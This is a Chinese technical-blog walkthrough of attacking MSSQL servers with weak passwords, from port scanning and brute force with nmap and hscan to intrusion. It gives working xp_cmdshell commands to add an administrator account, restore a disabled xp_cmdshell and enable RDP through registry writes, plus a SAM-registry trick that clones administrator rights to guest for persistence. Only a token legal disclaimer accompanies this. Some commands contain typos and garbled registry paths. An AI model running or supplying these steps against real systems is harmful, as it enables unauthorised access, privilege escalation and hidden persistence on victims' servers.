【技术分享】针对MSSQL弱口令实战流程梳理与问题记录

https://p1.ssl.qhimg.com/t01e39f14b1ff365ff9.png

作者:myles007

预估稿费:300RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


1. 端口发现

1.1. 常用工具推荐

常用端口扫描工具,其实很多这里不做过多的说明,本人还是以经典好用的nmap进行实际操练。

nmap 

nmap工具的下载,请直接去其官方网站下载即可。

ssport

ssport 是个简单快速的图形化端口扫描工具。

1.2. nmap端口扫描

我们现在进行整个网段的TCP 1433端口扫描,探测下开启了1433端口的服务器地址,具体端口扫描命令如下:

nmap -p1433 --open x.x.x.0/24

扫描结果截图如下:

http://p9.qhimg.com/t015bd65ea3e186b642.png

通过以上nmap的扫描发现,本目标网段存在4台主机开启了远程1433端口服务。

2. 弱口令爆破

2.1. 常用工具推荐

x-scan

hscan

nmap

x-scan 与hscan两款工具(x-scan & hscan)都是自带字典的图形化常见应用的扫描检测工具,他们各自支持扫描检测的应用类型非常丰富,具体的情况这里也不做过多的赘述,我这里仅以hscan和nmap作为实操工具分别进行演练。

2.2. Nmap 弱口令爆破

Nmap 扫描器功能之强大,这里肯定不需要我等小菜过多的说明了,我这里只简单的说下Nmap强大的扫描脚本的使用方法。其实使用也是非常方便的,只要我们找到相应的脚本,直接以文本编辑模式打开脚本,就可以找到具体的使用方法,后面会详细演示给大家,具体过程如下。

2.2.1. 查找ms-sql暴力破击脚本

Nmap的所有相关扫描脚本都存放在Nmap安装目录下的“script”目录下,在我们进入“script”目录后,直接查找ms-sql关键字就可以找到所有与ms-sql相关的扫描脚本,这里我们使用脚本“ms-sql-brute”这个ms-sql暴力爆破模块,其实我们从它的名字也能猜到本模块的功能。 

http://p2.qhimg.com/t012aceb8e3c7fccdfa.png

2.2.2. 查看ms-sql-brute脚本使用方法

在查找到nmap脚本后,我们可以直接以文本编辑的模式打开脚本,我们看文本中有个一个单词“@usage”,其实就是使用方法了,在使用方法中已经给出了详细的使用案例,我们直接复制出来,然后在CMD下直接进行修改后即可使用了。

http://p1.qhimg.com/t01bffd301ff75b45be.png

2.2.3. 调用ms-sql-brute脚本进行扫描

竟然是进行ms-sql登录口令的暴力破解,自然就是要用到字典了,有关弱口令字典的内容需要我们自行去收集了,很多的一些扫描工具中都会字典部分弱口令字典,大家平时也可以收集整理起来,以备使用。

那么接下来,我们直接参考扫描脚本中的案例,直接修改了字典的名称和扫描目标即可下发扫描任务了。以下截图分别给出了“单个主机”和“主机列表”的扫描过程截图。

http://p7.qhimg.com/t015f0e35efe9b5e9a1.png

http://p2.qhimg.com/t01d0d6a0939a106f98.png

2.3. hscan 弱口令爆破

2.3.1. 配置扫描模块

通过“菜单”-“参数”指定MSSQL 弱口令检查;

http://p2.qhimg.com/t018dbd177e9a01db5f.png

2.3.2. 配置扫描参

通过“菜单”-“参数”浏览指定前面发现地址列表。

http://p6.qhimg.com/t01898b8cf68ea32025.png

2.3.3. 发起扫描任务

http://p0.qhimg.com/t016f8a26845f15f7bc.png

2.3.4. 扫描结果

http://p6.qhimg.com/t01fd5b941300db6f43.png


3. MSSQL 入侵

至此,我们已经完成对网络中存在弱口令的ms-sql服务的安全扫描检查工作,接下来要进入到真正的入侵渗透压轴大戏了。

3.1. 数据库查询工具推荐

下面分别给大家贴出两个mssql查询分析工具的下载链接,请大家对于工具的使用要慎重,千万不要不要用于非法的攻击行为。网络安全即将发布了,请大家做个遵纪守法的小伙伴。

1) MSSQL 查询分析器 

云盘下载:http://pan.baidu.com/s/1slK0tbf 密码:0bdb

2) MSSQL 执行器 

下载地址:

http://xiaowang.blog.51cto.com/attachment/200902/1083_1233814542.rar

3) Nmap 脚本连接

对于nmap的使用,我们同样可以使用其提供的ms-sql-xp-cmdshell脚本直接进行提权操作。

3.2. 连接登录数据

我这里演示,使用mssql查询分析器,使用过程中发现比较稳定些,也推荐给大家。现在直接使用mssql分析连接数据库。

http://p1.qhimg.com/t01a6436d4e92b480d6.png

http://p8.qhimg.com/t0136ee26af9fd7aae2.png

3.3. 添加系统账号并提权

3.3.1. 第一步:使用xp_cmdshell添加普通账号test

添加账号:

xp_cmdshell ‘net user test 123 /add’

http://p6.qhimg.com/t01f90e76f9c2cc401c.png

3.3.2. 第二步:使用xp_cmdshell进行test用户提权

提权语句:

xp_cmeshell ‘net localgroup administrators test /add’

https://p5.ssl.qhimg.com/t01590dc20ebf562fd6.png

3.3.3. 第三步:查询用户提权情况

用户查询:

xp_cmdshell ‘net user test’

https://p2.ssl.qhimg.com/t0139c14a4c8a31ee30.png

3.4. 查询3389端口是否开启

https://p3.ssl.qhimg.com/t01fabc36991e25dca7.png

3.5. 维持访问

对于如何保持访问,我们可以通过“破解系统超级管理员密码”或“克隆系统管理员权限”都可以,这里为了对前面学习的新技能进行回顾,我这里使用xp_regread与xp_regwrite进行administrator账户进行权限克隆的实操演示。

3.5.1. 第一步:查询administrator账号的value值

xp_regread 'HKEY_LOCAL_MACHINE','SAMSAMDomainsAccountUsers00001F4','F'

3.5.2.第二步:将administrator账号的value值赋给guest

xp_regwrite 'HKEY_LOCAL_MACHINE','SAMSAMDomainsAccountUsers00001F5','F','reg_binary',0x......

3.5.3.第三步:启用guest账户并提权

Windows2000以上的系统环境,guest用户必须在“Remote Desk Users”以上权限的用户组中,才允许你远程登录系统,故需要将guest用户添加到超级用户管理组中。

我们直接使用xp_cmdshell存储过程进行guest普通账号的提权,具体命令如下。

注:前面分享的原理性文章中已经补充说明过,windows2000系统是无需进行这里的第三步的操作。


4. 常见问题记录

最后对于个人在实际渗透中遇到的各种的问题进行下小结,并将解决问题的实操方法与情况记录如下,分享于大家。

4.1. 存储过程不能调用

4.1.1. 如果提示xp_cmdshell被删除了怎么办?

运行以下语句进行恢复:

exec sp_addextendedproc 'xp_cmdshell', 'Xplog70.dll'

4.1.2.如果提示xp_cmdshell被停用户怎么办法

运行以下语句进行恢复:

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

4.2. 3389服务关闭了怎么办?

4.2.1. Windows 2003环境RDP服务开启

执行以下命令查看语句,检查c:更目录是否有windows目录,如果有则说明当前系统为windows 2003系统及以上系统。

exec master..xp_cmdshell 'dir c:'

随后我们再执行以下语句进3389端口服务的开启。 

exec master..xp_cmdshell 'echo Windows Registry Editor Version 5.00>>3389.reg'
exec master..xp_cmdshell 'echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server]>>3389.reg'
exec master..xp_cmdshell 'echo "fDenyTSConnections"=dword:00000000>>3389.reg'
exec master..xp_cmdshell 'echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWdsrdpwdTdstcp]>>3389.reg'
exec master..xp_cmdshell 'echo "PortNumber"=dword:00000d3d>>3389.reg'
exec master..xp_cmdshell 'echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp]>>3389.reg'
exec master..xp_cmdshell 'echo "PortNumber"=dword:00000d3d>>3389.reg'
exec master..xp_cmdshell 'regedit /s 3389.reg'

注:已经验证语句执行完毕后,无需重启,即可直接远程登录。

4.2.2. windows 2000环境RDP服务开启 

看看根目录下如果有WINNT目录,则一般是win2000,随后再执行下面的语句来开启其3389服务。

exec master..xp_cmdshell 'dir c:'
exec master..xp_cmdshell 'echo [Components] > c:winnt3389'
exec master..xp_cmdshell 'echo TSEnable = . >> c:winnt3389'
exec master..xp_cmdshell ·'sysocmgr /i:c:winntinfsysoc.inf /u:c:winnt3389 /q'

注:window 2000系统需要重启后,配置才能生效。

4.3. 使用3389连接时,提示连接用户必须有远程连接的权限怎么办?

直接将测试用户添加到“administrators”用户组,执行语句如下: 

exec master..xp_cmdshell 'net localgroup administrators test /add'

4.4. 连接3389,提示连接用户已满怎么办?

可以直接在“运行”中执行以下命令来调用“远程桌面管理工具”: 

mstsc /admin

https://p4.ssl.qhimg.com/t01c36b226c040becdd.png

(完)